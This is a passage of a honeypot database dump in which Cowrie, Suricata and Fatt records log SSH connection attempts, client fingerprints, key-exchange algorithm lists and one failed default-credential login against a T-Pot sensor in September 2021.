enssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33870, "dest_port": 22, "timestamp": "2021-09-20T11:13:30.305945", "@timestamp": "2021-09-20T11:13:30.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27197	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:30.22988+03	2021-09-20 14:15:14.262645+03	{"_id": "9AbpAnwBvYTbRNuENiSQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [reboot/reboot] failed", "session": "2bcdff4a8e3f", "@version": "1", "password": "reboot", "username": "reboot", "timestamp": "2021-09-20T11:13:30.229880Z", "@timestamp": "2021-09-20T11:13:30.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27198	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:30.306599+03	2021-09-20 14:15:14.263646+03	{"_id": "9QbpAnwBvYTbRNuENiSR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "af97bc5057da", "@version": "1", "timestamp": "2021-09-20T11:13:30.306599Z", "@timestamp": "2021-09-20T11:13:30.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27199	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:13:30.305818+03	2021-09-20 14:15:14.264646+03	{"_id": "9wbpAnwBvYTbRNuEOCSX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1726282326398808, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33870, "dest_port": 22, "timestamp": "2021-09-20T11:13:30.305818Z", "@timestamp": "2021-09-20T11:13:30.305Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27200	13.75.108.119	109.199.241.180	Cowrie	2021-09-20 14:13:31.067054+03	2021-09-20 14:15:14.266647+03	{"_id": "-gbpAnwBvYTbRNuEOiR6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "13.75.108.119", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 22.2909, "location": {"lat": 22.2909, "lon": 114.15}, "timezone": "Asia/Hong_Kong", "city_name": "Central", "longitude": 114.15, "region_code": "HCW", "region_name": "Central and Western District", "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "13.75.108.119", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "a47f1fcfc795", "@version": "1", "duration": 3.347872257232666, "timestamp": "2021-09-20T11:13:31.067054Z", "@timestamp": "2021-09-20T11:13:31.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27201	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:13:39.341345+03	2021-09-20 14:15:14.267647+03	{"_id": "fAbpAnwBvYTbRNuEWyXH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 400702948175150, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59328, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.341345Z", "@timestamp": "2021-09-20T11:13:39.341Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27202	5.188.62.196	109.199.241.180	Fatt	2021-09-20 14:13:39.752357+03	2021-09-20 14:15:14.269647+03	{"_id": "hAbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 60654, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.752357", "@timestamp": "2021-09-20T11:13:39.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27203	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:13:39.414354+03	2021-09-20 14:15:14.270645+03	{"_id": "gQbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59328, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.414354", "@timestamp": "2021-09-20T11:13:39.414Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27204	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:13:39.689112+03	2021-09-20 14:15:14.271646+03	{"_id": "gwbpAnwBvYTbRNuEXCX0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60654, "timestamp": "2021-09-20T11:13:39.689112", "@timestamp": "2021-09-20T11:13:39.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27205	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:39.684307+03	2021-09-20 14:15:14.272646+03	{"_id": "hgbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:60654 (192.168.176.2:22) [session: 889c28e0fc51]", "session": "889c28e0fc51", "@version": "1", "protocol": "ssh", "src_port": 60654, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.684307Z", "@timestamp": "2021-09-20T11:13:39.684Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27206	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:39.6949+03	2021-09-20 14:15:14.274646+03	{"_id": "hwbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:54408 (192.168.176.2:22) [session: 7e6212a2d360]", "session": "7e6212a2d360", "@version": "1", "protocol": "ssh", "src_port": 54408, "dest_port": 22, "timestamp": "2021-09-20T11:13:39.694900Z", "@timestamp": "2021-09-20T11:13:39.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27207	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:39.686999+03	2021-09-20 14:15:14.275647+03	{"_id": "igbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "889c28e0fc51", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:13:39.686999Z", "@timestamp": "2021-09-20T11:13:39.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27208	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:13:39.753075+03	2021-09-20 14:15:14.277647+03	{"_id": "iwbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "889c28e0fc51", "@version": "1", "timestamp": "2021-09-20T11:13:39.753075Z", "@timestamp": "2021-09-20T11:13:39.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27209	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:13:39.795131+03	2021-09-20 14:15:14.278647+03	{"_id": "jAbpAnwBvYTbRNuEXSWq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7e6212a2d360", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:13:39.795131Z", "@timestamp": "2021-09-20T11:13:39.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
